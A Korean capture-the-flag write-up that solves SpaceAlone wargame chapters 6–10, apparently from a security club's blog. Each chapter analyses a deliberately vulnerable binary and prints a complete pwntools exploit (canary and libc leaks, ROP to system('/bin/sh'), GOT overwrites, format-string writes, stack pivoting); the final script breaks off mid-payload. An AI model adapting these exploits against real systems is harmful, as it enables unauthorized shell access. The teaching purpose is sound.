포스트

SpaceAlone Writeup Chapter 6~10

SpaceAlone Chapter 6~10 문제를 풀어봅시다.

목차

  1. Write-up (6-10)
    • Chapter 6
    • Chapter 7
    • Chapter 8
    • Chapter 9
    • Chapter 10
  2. 피드백
  3. 마무리

안녕하세요, Knights of the SPACE에서 활동중인 조수호(shielder)입니다. 본 글에서는 Space Alone Chapter6~10를 풀어보겠습니다.

Space Alone 포스터입니다. 포스터

Chapter 1~5 풀이는 다음 링크를 참고해주세요.


Write-up

Chapter 6

  • 보호기법 분석
1
2
3
4
5
6
7
8
Crisis_at_the_Vault@hsapce-io:~$ checksec prob
[*] '/home/Crisis_at_the_Vault/prob'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

Partial RELRO 상태입니다. 카나리가 있고, PIE가 꺼져 있습니다.

  • 코드 분석
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>

void menu(){
    puts("1. read diary");
    puts("2. write diary");
    puts("3. put down the diary");
    printf("> ");
}

int main(){
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    int ch, index = 0;
    char page1[] = "As soon as I arrived here, I locked the door tightly.\nCatching my breath, it feels like a miracle that I managed to escape safely.";
    char page2[] = "Looking around, there isn't much food left.\nTo survive, I'll have to go out again soon.";
    char page3[] = "I checked my weapons and packed the necessary supplies in my bag.\nAccording to rumors I heard outside, there's a vaccine at a nearby lab.";
    char page4[] = "As I headed out, I could hear the zombies' cries.\nMy heart was pounding wildly, but I moved quietly.";
    char page5[] = "At that moment, a zombie suddenly attacked me.\nAs I checked the bite wound on my arm, I realized that the vaccine at the lab was now my last hope.";
    char hidden[] = "Failed, failed, failed, failed, failed, faile... itchy, tasty";
    char* diary[] = {page1, page2, page3, page4, page5, hidden};\

	중략(출력 부분)

    while(1){
        menu();
        scanf("%d", &ch);
        if (ch == 1){
            printf("index (0~4) : ");
            scanf("%d", &index);
            if (index >= 6 || index < 0){
                puts("invalid index");
                continue;
            }
            puts(diary[index]);
        }
        else if (ch == 2){
            printf("index (0~4) : ");
            scanf("%d", &index);
            if (index >= 6 || index < 0){
                puts("invalid index");
                continue;
            }
            printf("content > ");
            read(0, diary[index], 0x100);
        }
        else if (ch == 3){
            break;
        }
    }
    puts("Ok let's go!");
    return 0;

모든 메뉴를 무한 번 실행 가능합니다. 1번 메뉴에서 diary의 내용을 출력할 수 있습니다. 2번 메뉴에서 0x100 바이트만큼 쓸 수 있습니다. 그런데 page1, page2, page3, page4, page5, hidden을 보니 0x100 바이트보다 적은 길이의 문자열을 담고 있어보입니다. scp 명령어로 파일을 꺼내 ida로 이어서 분석하겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+8h] [rbp-308h] BYREF
  unsigned int v5; // [rsp+Ch] [rbp-304h] BYREF
  char *s[6]; // [rsp+10h] [rbp-300h]
  char v7[64]; // [rsp+40h] [rbp-2D0h] BYREF
  char v8[96]; // [rsp+80h] [rbp-290h] BYREF
  char v9[112]; // [rsp+E0h] [rbp-230h] BYREF
  char v10[144]; // [rsp+150h] [rbp-1C0h] BYREF
  char v11[144]; // [rsp+1E0h] [rbp-130h] BYREF
  char v12[152]; // [rsp+270h] [rbp-A0h] BYREF
  unsigned __int64 v13; // [rsp+308h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  v5 = 0;
  strcpy(
    v10,
    "As soon as I arrived here, I locked the door tightly.\n"
    "Catching my breath, it feels like a miracle that I managed to escape safely.");
  strcpy(v8, "Looking around, there isn't much food left.\nTo survive, I'll have to go out again soon.");
  strcpy(
    v11,
    "I checked my weapons and packed the necessary supplies in my bag.\n"
    "According to rumors I heard outside, there's a vaccine at a nearby lab.");
  strcpy(v9, "As I headed out, I could hear the zombies' cries.\nMy heart was pounding wildly, but I moved quietly.");
  strcpy(
    v12,
    "At that moment, a zombie suddenly attacked me.\n"
    "As I checked the bite wound on my arm, I realized that the vaccine at the lab was now my last hope.");
  strcpy(v7, "Failed, failed, failed, failed, failed, faile... itchy, tasty");
  s[0] = v10;
  s[1] = v8;
  s[2] = v11;
  s[3] = v9;
  s[4] = v12;
  s[5] = v7;

후략

위의 코드와 비교해보면 v12page5와 같음을 알 수 있습니다. v12rbp-0xa0에 정의되어 있으므로 bof가 발생합니다.

  • 익스플로잇 설계

카나리가 있고, 마스터 카나리를 조작하는 문제는 아니므로 카나리를 알아내야 합니다. 2번 메뉴로 page5(4번 인덱스)에 0x98 + 1(카나리의 첫 바이트는 \x00이기 때문에 1을 더합니다.)만큼 바이트를 입력한 후 1번 메뉴로 출력시켜 카나리를 알아냅니다. 비슷한 방법으로 0xa8 만큼 바이트를 입력한 후 출력시켜 libc_base를 알아낼 수 있습니다. main 함수 진행 중에 ret 값과 backtrace는 다음과 같습니다.

1
2
3
4
5
6
7
pwndbg> x/2gx $rbp
0x7fffffffe320: 0x0000000000000001      0x00007ffff7db3d90
pwndbg> backtrace
#0  0x00000000004011d8 in main ()
#1  0x00007ffff7db3d90 in __libc_start_call_main (main=main@entry=0x4011aa <main>, argc=argc@entry=1, argv=argv@entry=0x7fffffffe438) at ../sysdeps/nptl/libc_start_call_main.h:58
#2  0x00007ffff7db3e40 in __libc_start_main_impl (main=0x4011aa <main>, argc=1, argv=0x7fffffffe438, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe428) at ../csu/libc-start.c:392
#3  0x00000000004010b5 in _start ()

하지만 pwndbglibc_start_call_main 심볼을 찾지 못하기 때문에 offset을 직접 찾아줘야 합니다. vmmap 명령어를 통해 gdb상에서 libc_base를 찾을 수 있고, 두 값을 빼주면 offset을 구할 수 있습니다(0x7ffff7db3d90 - 0x7ffff7d8a000 = 0x29d90). bof 크기가 넉넉하기 때문에 system('/bin/sh')을 호출하는 방향으로 익스하겠습니다. (ROPgadget 사용 방법은 전 포스팅 Chapter4에 소개되어 있으므로 생략하겠습니다.)

  • 익스플로잇
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

p = process('./prob')
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def read(idx : int) :
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b': ', str(idx).encode())
    return p.recvline()[:-1]

def write(idx : int, msg : bytes) :
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b': ', str(idx).encode())
    p.sendafter(b'> ', msg)

write(4, b'a' * 0x99)
canary = u64(b'\x00' + read(4)[0x99:][:7])
print("canary = " + hex(canary))

write(4, b'a' * 0xa8)
l.address = u64(read(4)[0xa8:][:6] + b'\x00' * 2) - 0x29d90
print("libc_base = " + hex(l.address))

ret = 0x40101a
binsh = list(l.search(b'/bin/sh'))[0]
system = l.sym['system']
pop_rdi = 0x2a3e5 + l.address
payload = b'a' * 0x98 + p64(canary) + b'b' * 0x8 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
write(4, payload)

p.sendlineafter(b'> ', b'3')
p.interactive()

저는 /bin/sh 문자열 찾는 방법으로 list(l.search(b'/bin/sh'))[0]을 선호합니다. /bin/sh 찾는 방법을 잘 모르셨다면 이를 추천합니다. one_gadget을 사용하여도 무방하지만, vmone_gadget이 안 깔려있는 것을 보아 인텐이 아닌 것 같아 해당 방법으로 풀지는 않았습니다.


Chapter 7

  • 보호기법 분석
1
2
3
4
5
6
7
8
9
[*] '/home/Wired_at_the_Vault/got'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Partial RELRO 상태입니다. 카나리가 있고, PIE가 꺼져 있습니다.

  • 코드 분석
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
/*
    HSpace Lord of the BOF
    - got
*/

unsigned long long wire[100];


void startup(){
    puts("Hope the car starts!");
    char wish[0x100];
    read(0, wish, 0x200);
}

void menu(){
    puts("1. Re-map ecu");
    puts("2. Start a car");
    puts("3. Die XD");
}

int main(int argc, char *argv[]){
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    puts("Kill switch enabled");
    puts("The car won't start if the kill switch is on");
    while(1){
        int select;
        menu();
        printf("> ");
        scanf("%d", &select);
        getchar();
        if (select == 1){
            printf("number : ");
            scanf("%d", &select);
            getchar();
            printf("value : ");
            scanf("%llu", &wire[select]);
        }else if (select == 2){
            startup();
        }else{
            puts("Grrrrr....!!!");
            return 1;
        }
    }
}

모든 메뉴를 무한 번 실행 가능합니다. 1번 메뉴는 wire 배열에 접근하여 값을 쓰는 기능을 합니다. 이 때 select에 대한 검사가 없기 때문에 oob 취약점이 발생합니다. 그리고 wire 배열이 bss에 위치해있는 점, Partial RELRO인 점을 종합하면 got overwrite가 가능합니다. 2번 메뉴는 startup 함수를 실행합니다. startup 함수에서는 bof가 발생합니다.

  • 익스플로잇 설계

카나리가 있기 때문에, 이를 알아내야 하는데 릭 벡터를 일차원적으로 찾을 수는 없습니다. 따라서 카나리를 변조해야만 다음 단계로 넘어갈 수 있습니다. 그런데 스택 프레임 내부의 카나리 값이 기존 카나리 값과 달라지면 __stack_chk_fail 함수를 호출합니다. 따라서 이 함수의 got 영역을 변조하고 의도적으로 호출하도록 설계합니다. bof 크기가 크기 때문에 got overwrite에서 체이닝을 고려할 필요는 없고 ret 주소로만 변조해도 충분합니다. 이러면 그냥 다음 어셈블리어 코드가 실행되므로 카나리 체크는 없는 것과 마찬가지입니다.

pop rdi ; ret 가젯이 있기 때문에 bof를 이용하여 puts를 호출하여 libc_base를 얻고 ROP를 수행하여 system('/bin/sh')를 호출합니다. 이 때 sfp의 값을 신경써주어야 합니다. startup 함수를 두 번 실행하기 때문에 두 번째 함수의 leave ; ret에 의해 첫 번째 payloadsfp 값이 rsp가 됩니다. system 함수는 작동 중에 쓰기 과정이 있으므로 rsp의 근처의 주소가 쓰기 가능한 영역이어야 합니다. 즉 sfp를 바른 주소로 적어주어야 합니다. rsp가 음수 쪽으로 쓰기 불가능한 주소와 가까이 있다면 system 함수가 제대로 작동하지 않을 가능성이 있으므로 보통 e.bss() + 0x800 or 0x900를 많이 사용합니다. 아래 코드가 이해를 도울 것입니다.

  • 익스플로잇
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

p = process('./got')
e = ELF('./got')
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi = 0x4011fe
ret = 0x40101a

def w1(idx : int, msg : int):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b': ', str(idx).encode())
    p.sendlineafter(b': ', str(msg).encode())

def w2(msg : bytes):
    p.sendlineafter(b'> ', b'2')
    p.sendafter(b'!\n', msg)

print(hex(e.bss()))
w1((e.got['__stack_chk_fail'] - e.sym['wire']) // 8, 0x40101a)
w2(b'a' * 0x110 + p64(e.bss() + 0x900) + p64(pop_rdi) + p64(e.got['read']) + p64(e.sym['puts']) + p64(e.sym['startup']))
l.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - l.sym['read']
print("libc_base = " + hex(l.address))

binsh = list(l.search(b'/bin/sh'))[0]
system = l.sym['system']
p.sendafter(b'!', (b'a' * 0x110 + p64(e.bss() + 0x900) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)))
p.interactive()

Chapter 8

  • 보호기법 분석
1
2
3
4
5
6
7
8
9
[*] '/home/Awakening_in_the_Dark/fsb'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Partial RELRO 상태입니다. 카나리가 있고, PIE가 꺼져 있습니다.

  • 코드 분석
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>

void open_emergency_medicine(){
        char buf[30];
        int fd = open("flag" , O_RDONLY);
        read(fd,buf,20);
        printf("%s\n",buf);
        close(fd);
}

void empty(){
        printf("There is no more medicine\n");
}
void exist(){
        printf("This medicine is located in the .fsb section.\n");
}

void init(){
        setvbuf(stdin, 0, 2, 0);
        setvbuf(stdout, 0, 2, 0);
}

void menu(){
        puts("1. search medicine");
        puts("2. take medicine");
        puts("3. quit");
        printf("> ");
}

int main(){
        init();
        int *exitst_or_not=(int *)exist;
        char buf[0x100];
        int num;
        puts("Welcome to BOF pharmacy");
        puts("What do you want?");
        while(1){
                menu();
                scanf("%d",&num);
                switch(num){
                        case 1:
                                memset(buf,0,0x100);
                                read(0, buf, 0x9f);
                                printf(buf);
                                if(strstr(buf, "Painkiller") || strstr(buf, "Morphine") || strstr(buf, "ibuprofen")){
                                        exitst_or_not = (int *)empty;
                                }
                                break;
                        case 2:
                                if(exitst_or_not != NULL){
                                        (*(void (*)()) exitst_or_not)();
                                }
                                else{
                                        printf("Choose medicine first\n");
                                }
                                break;
                        case 3:
                                printf("Goodbye\n");
                                return 0;
                                break;
                        default:
                                printf("Wrong input\n");
                                break;
                }

        }
        return 0;


}

모든 메뉴를 무한 번 실행 가능합니다. 1번 메뉴에서 printf(buf) 코드가 있으므로 fsb 취약점이 발생합니다. 2번 메뉴에서 (*(void (*)()) exitst_or_not)();을 실행시켜줍니다. 3번 메뉴에서 main 함수를 종료시킵니다. open_emergency_medicine를 실행하면 flag를 읽을 수 있습니다. flag에 다음 챕터로 넘어갈 때 사용할 비밀번호가 있다고 유추할 수 있습니다.

  • 익스플로잇 설계

fsb 취약점이 존재하면 다양한 방법으로 익스가 가능합니다. 이 문제는 printf의 출력을 참고하여open_emergency_medicine을 이용하는 방법, mainRET을 조작하는 방법이 있고, printf의 출력을 이용하지 않고 쉘을 따는 방법이 있습니다. 세 번째 방법은 꽤나 복잡한 과정을 거치기에 이 글에서는 소개하지 않겠습니다만, 레이팅이 높은 CTF에서도 Medium 난이도의 문제로 종종 출제되는 기법이기 때문에 관심이 있으시다면 익혀두시는 것을 추천합니다(2024 BackdoorCTF의 Merry Christmas문제가 예시입니다.). 여기서는 출제자의 의도를 고려하여 open_emergency_medicine을 이용하는 방법을 선택하겠습니다. fsb가 발생하는 코드에서 printfrdi만 사용하므로 rsi, rdx, r8, r9, r10, rsp, rsp + 8, rsp + 0x10... 순서로 참조 가능합니다. 이 때 rsibuf의 주소를 가리키므로 %p(혹은 %1$p)buf의 주소를 알아낼 수 있습니다. exitst_or_notopen_emergency_medicine의 주소로 변경한 후 2번 메뉴로 실행시켜줄 것입니다. 이를 위해서 exitst_or_not의 주소를 알아야 합니다. buf의 주소를 알기 때문에 exitst_or_notbufoffset만 알아내면 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> disass main
Dump of assembler code for function main:
   0x0000000000401397 <+0>:     endbr64
   0x000000000040139b <+4>:     push   rbp
   0x000000000040139c <+5>:     mov    rbp,rsp
   0x000000000040139f <+8>:     sub    rsp,0x120
   0x00000000004013a6 <+15>:    mov    rax,QWORD PTR fs:0x28
   0x00000000004013af <+24>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004013b3 <+28>:    xor    eax,eax
   0x00000000004013b5 <+30>:    mov    eax,0x0
   0x00000000004013ba <+35>:    call   0x401304 <init>
   0x00000000004013bf <+40>:    lea    rax,[rip+0xffffffffffffff24]        # 0x4012ea <exist>
   0x00000000004013c6 <+47>:    mov    QWORD PTR [rbp-0x118],rax
   
   중략
   
   0x000000000040143e <+167>:   lea    rax,[rbp-0x110]
   0x0000000000401445 <+174>:   mov    edx,0x100
   0x000000000040144a <+179>:   mov    esi,0x0
   0x000000000040144f <+184>:   mov    rdi,rax
   0x0000000000401452 <+187>:   call   0x401100 <memset@plt>
   
   중략
   
   0x000000000040155a <+451>:   leave
   0x000000000040155b <+452>:   ret
End of assembler dump.

init 실행 후에 &exist 값을 넣어주는 것을 보아 rbp - 0x118exitst_or_not의 주소임을 알 수 있습니다. memsetrdirbp-0x110이 들어가는 것을 보아 rbp-0x110buf의 주소임을 알 수 있습니다. 따라서 buf의 주소에서 8을 빼면 exitst_or_not의 주소가 됩니다. 구하려고 하는 것들을 전부 구했으므로 fsb와 2번 메뉴를 이용해 open_emergency_medicine를 실행시켜 flag를 읽을 수 있습니다.

  • 익스플로잇
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.arch = 'amd64'
p = process('./fsb')

def fsb(msg : bytes):
    p.sendlineafter(b'> ', b'1')
    p.send(msg + b"\n")
    return p.recvline()[:-1]

oem = 0x401256
stack = int(fsb(b"%p"), 16)
addr_exitst_or_not = stack - 8
payload = f"aa%{oem - 2}c%10$n".encode() + p64(addr_exitst_or_not)
fsb(payload)
p.sendlineafter(b'> ', b'2')
p.interactive()

pwntools 라이브러리에서 fmtstr_payload라는 좋은 함수를 제공하고 있습니다. 하지만 CTF나 실제 환경에서는 payload를 직접 작성해야 하는 경우가 많기 때문에 함수를 이용하는 것보단 직접 생각하여 짜는 것을 추천드립니다.


Chapter 9

  • 보호기법 분석
1
2
3
4
5
6
7
8
9
[*] '/home/On_the_Edge_of_Time/pivot'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

카나리가 없고, PIE가 꺼져 있습니다.

  • 코드 분석
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int loop = 0;

void init(){
        setvbuf(stdin, 0, 2, 0);
        setvbuf(stdout, 0, 2, 0);
}

void gadget() {
    asm("pop %rdi; ret");
    asm("pop %rsi; pop %r15; ret");
    asm("pop %rdx; ret");
}


int main(void)
{
    init();
    char buf[0x30];

    printf("Hello, Sir\n");
    printf("This laboratory is currently closed.\n");
    printf("Please leave a message, and I will forward it to the person in charge of the laboratory.\n");

    if (loop)
    {
        puts("Goobye, Sir");
        exit(-1);
    }
    loop = 1;

    read(0, buf, 0x70);
    return 0;
}

main에서 bof 취약점이 발생합니다. 그런데 loop 검사가 있기 때문에 main은 단 한 번만 호출할 수 있습니다. gadget 함수에서 유용한 가젯을 제공합니다.

  • 익스플로잇 설계

libc_base를 알아내고 system('/bin/sh')를 실행시키기 위해서는 한 번의 read만으로는 부족합니다. 심지어 main에서의 read함수는 0x70 바이트만 읽기 때문에 길이가 부족합니다. 따라서 스택 피보팅을 이용하겠습니다. 스택 피보팅이란 쓰기 가능한 공간에 가짜 스택 프레임이 있다고 생각하고 payload를 작성하는 것입니다. sfp 조작으로 rbp를 변조할 수 있고, leave ; ret 가젯이 있기 때문에 결국 rsp를 변조할 수 있어 체이닝을 이어나갈 수 있습니다. 이 문제에 적용해보면, rdx0x70인 상태로 read 함수를 다시 호출하여 0x70 바이트 전체를 체이닝에 사용할 수 있도록 하는 식입니다. leave ; ret 가젯을 이용할 것을 고려하여 가짜 스택 프레임의 구성을 생각하며 payload를 짜줍니다. 이 때 쓰기 가능한 공간은 PIE가 꺼져 있으므로 bss 영역을 이용합니다.

  • 익스플로잇
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from time import *

p = process('./pivot')
e = ELF('./pivot')
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')

ret = 0x40101a
pop_rdi = 0x4011e5
pop_rsi_r15 = 0x4011e7
pop_rdx = 0x4011eb
leave_ret = 0x40127b
bss = e.bss() + 0x800

payload = b'a' * 0x30 + p64(bss)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(bss) + p64(0)
payload += p64(e.sym['read']) + p64(leave_ret)
p.sendafter(b'laboratory.\n', payload)
sleep(1)

payload = p64(bss)
payload += p64(pop_rdi) + p64(e.got['read']) + p64(e.sym['puts'])
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(bss) + p64(0)
payload += p64(pop_rdx) + p64(0x100)
payload += p64(e.sym['read']) + p64(leave_ret)
p.send(payload)
sleep(1)

l.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - l.sym['read']
binsh = list(l.search(b'/bin/sh'))[0]
system = l.sym['system']
payload = p64(bss) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
p.send(payload)
p.interactive()

의도적으로 중간에 출력을 넣지 않는 이상, sendafter를 사용할 수 없기 때문에 sleep(1)을 추가해 익스 실행을 안정화시킵니다.


Chapter 10

  • 보호기법 분석
1
2
3
4
5
6
7
8
9
[*] '/home/The_Cure_Within_Reach/final'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

final 파일은 모든 보호 기법이 적용되어 있습니다.

1
2
3
4
5
6
7
8
9
The_Cure_Within_Reach@hsapce-io:~$ checksec /lib/x86_64-linux-gnu/libc.so.6
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

이 문제를 해결할 때 libc를 사용할 것이므로 libc의 보호 기법도 살펴보겠습니다. libc의 가장 큰 특징은 Partial RELRO 상태라는 것입니다. libcFull RELRO를 적용하면 got 영역이 쓰기 불가능해지기 때문에 초기화 과정에서 프로그램이 오동작할 수 있다는 호환성 문제가 있습니다. Full RELRO는 모든 got 엔트리를 프로그램 시작 시 재배치하기 때문에 프로그램 시작 시간이 증가하는데, libc는 거의 모든 프로세스가 사용하는 중요한 라이브러리이므로, 이 성능 페널티는 시스템 전체에 영향을 미칠 수 있습니다. 이러한 이유뿐만 아니라 다양한 이유로 libc는 보통 Partial RELRO 상태입니다.

  • 코드 분석
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
/*
    Full mitigation
    Stack is unsafe & fprintf is Substitutional way of print string
    But you have writable place
*/
int all_time;
int OTP_flag = 0;
int count;
int mode;
FILE *access_log;

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}


void gadget() {
    asm("pop %rdi; ret");
    asm("pop %rsi; pop %r15; ret");
    asm("pop %rdx; ret");
}
char print_checkpass() {
    puts("Enter your password");
    printf("Password : ");
    return 0;
}

char check_passwd(char *passwd, int mode) {
    print_checkpass();
    int acss_ok = -1;
    access_log = fopen("access.log", "a");

    read(0, passwd, 100);
    // passwd[strlen(passwd)] = '\x00';
    switch(mode) {
    case 0:
        fprintf(access_log, "Lord Of BOF : ");
        fprintf(access_log, passwd);
        break;
    case 2:
        // Doctor
        fprintf(access_log, "   Doctor   : ");
        fprintf(access_log, passwd);
        // printf(passwd);
        break;
    default:
        fprintf(access_log, "Undefined User, Error\n");
        // break;
        return 0;
    }

    if (!strncmp(passwd, "9a9f3a5a6230124a1770cc20097db3713454343a", 40)) {
        // lordofbof sha1
        acss_ok = 0;
        fprintf(access_log, " -> Correct!");
        // return 0;
    } else if(!strncmp(passwd, "1f0160076c9f42a157f0a8f0dcc68e02ff69045b", 40)) {
        // doctor sha1
        acss_ok = 2;
        fprintf(access_log, " -> Correct!");
        // return 1;
    } else {
        acss_ok = -1;
        fprintf(access_log, " -> Incorrect!");
        // return 3;
    }

    fprintf(access_log, "\n");
    fclose(access_log);
    return acss_ok;
}

char check_id(char *str_adr) {
    printf("Your ID : ");
    read(0, str_adr, 0x20);
    if (!strncmp(str_adr, "Lord Of Buffer overflow", 23)) {
        return 0;
    } else if(!strncmp(str_adr, "Zombie", 6)) {
        return 1;
    } else if(!strncmp(str_adr, "Doctor", 6)) {
        return 2;
    } else {
        return 3;
    }
}

int main(int argc, char const *argv[]) {
    initialize();
    // stack high
    char welcome[28] = "For vaccine, Enter One Time Passcode";
    char id_number[64];
    char password[0x40];
    count = 0;
    int chk_pw = -1;
    printf(welcome);
    puts("");
    printf("Enter ID Number");
    puts("");
    do {
        int chk = check_id(id_number);
        // only leak
        switch(chk) {
        case 0:
            // LOB
            printf("Lord Of BOF! ");
            chk_pw = check_passwd(password, 0);
            break;
        case 1:
            // Zombie
            printf("Zombie! ");
            puts("You Don't need Vaccine~");

            access_log = fopen("access.log", "a");
            fprintf(access_log, "Zombie : Denied");
            fclose(access_log);
            break;
        case 2:
            // Doctor
            printf("Doctor! ");
            puts("You can get Vaccine if you pwn");
            chk_pw = check_passwd(password, 2);
            break;
        case 3:
            printf(id_number);
            printf("!Invalid!\nTry Again\n");
            chk_pw = 0;

            access_log = fopen("access.log", "a");
            fprintf(access_log, "Invalid ID\n");
            fclose(access_log);
            break;
        default:
            puts(id_number);
            printf("Error! Enter Your ID Again!");
            chk_pw = 0;



            access_log = fopen("access.log", "a");
            fprintf(access_log, "ID Input Error\n");
            fclose(access_log);
            break;
        }

        if(chk_pw == -1) {
            puts(password);
        } else if(chk_pw == 0) {
            chk_pw = 0;
        } else {
            goto get_vaccine;
        }
        count++;
        if (count == 3) {
            puts("BOOM!! Find your ID");
            return 0;
        }
    } while (1);

get_vaccine:
    puts("No Vaccine");

    //     printf("adsf");
    return 0;
}

check_id 함수의 반환값에 따라 실행되는 코드가 결정됩니다. case 3printf(id_number);에서 0x20의 길이를 가지는 payload를 실행시킬 수 있는 fsb 취약점이 발생합니다. case 0case 2에서 호출되는 check_passwd 함수의 fprintf(access_log, passwd);에서 0x64의 길이를 가지는 payload를 실행시킬 수 있는 fsb 취약점이 발생합니다. count == 3이면 프로그램을 종료시키므로 fsb를 이용할 수 있는 기회는 세 번입니다.

  • 익스플로잇 설계

fsb 결과물을 출력해주기 때문에 카나리, libc base, pie base 등 알고 싶은 값은 모두 알 수 있습니다. 그럼 쉘을 어떻게 딸지 생각해야 합니다. 여기서는 libc got overwrite를 사용하겠습니다. fsb 작동 후에 chk_pw == -1이라면 puts(password);가 실행됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> disass puts
Dump of assembler code for function __GI__IO_puts:
Address range 0x7ffff7e0ae50 to 0x7ffff7e0afe9:
   0x00007ffff7e0ae50 <+0>:     endbr64
   0x00007ffff7e0ae54 <+4>:     push   r14
   0x00007ffff7e0ae56 <+6>:     push   r13
   0x00007ffff7e0ae58 <+8>:     push   r12
   0x00007ffff7e0ae5a <+10>:    mov    r12,rdi
   0x00007ffff7e0ae5d <+13>:    push   rbp
   0x00007ffff7e0ae5e <+14>:    push   rbx
   0x00007ffff7e0ae5f <+15>:    sub    rsp,0x10
   0x00007ffff7e0ae63 <+19>:    call   0x7ffff7db2490 <*ABS*+0xa86a0@plt>
   
   후략

puts에서 *ABS*+0xa86a0@plt를 참조하여 다른 함수를 호출합니다. idalibc 파일을 확인해보면 libcstrlen got을 참조하여 호출하고 있음을 알 수 있습니다. rdiputs 실행 후에 strlen을 실행할 때까지 다른 값으로 바뀌지 않으므로, rdi는 여전히 &password입니다. 따라서 password에서 /bin/sh;를 적어놓고, strlen gotsystem으로 변조하면 쉘이 따질 것입니다. chk_pw == -1을 만족시키는 방법은 check_passwd 함수에서 passwd에 특정 문자열이 아닌 문자열을 입력하면 됩니다. 어짜피 fsb payload를 입력할 것이므로 걱정하지 않아도 될 부분입니다.

  • 익스플로잇
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

p = process('./final')
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')

payload = b"%33$p\n"
p.sendafter(b': ', payload)
l.address = int(p.recvline()[:-1], 16) - (0x7ffff7db3d90 - 0x7ffff7d8a000)

strlen_got = l.address + 0x21a098
system = l.sym['system']
system1 = system & 0xffff
system2 = (system >> 16) & 0xffff
payload = b'/bin/sh;'
payload += f"%{system1 - 8}c%32$hn".encode()
payload += f"%{0x10000 - system1 + system2}c%33$hn".encode()
payload = payload.ljust(0x28, b'a')
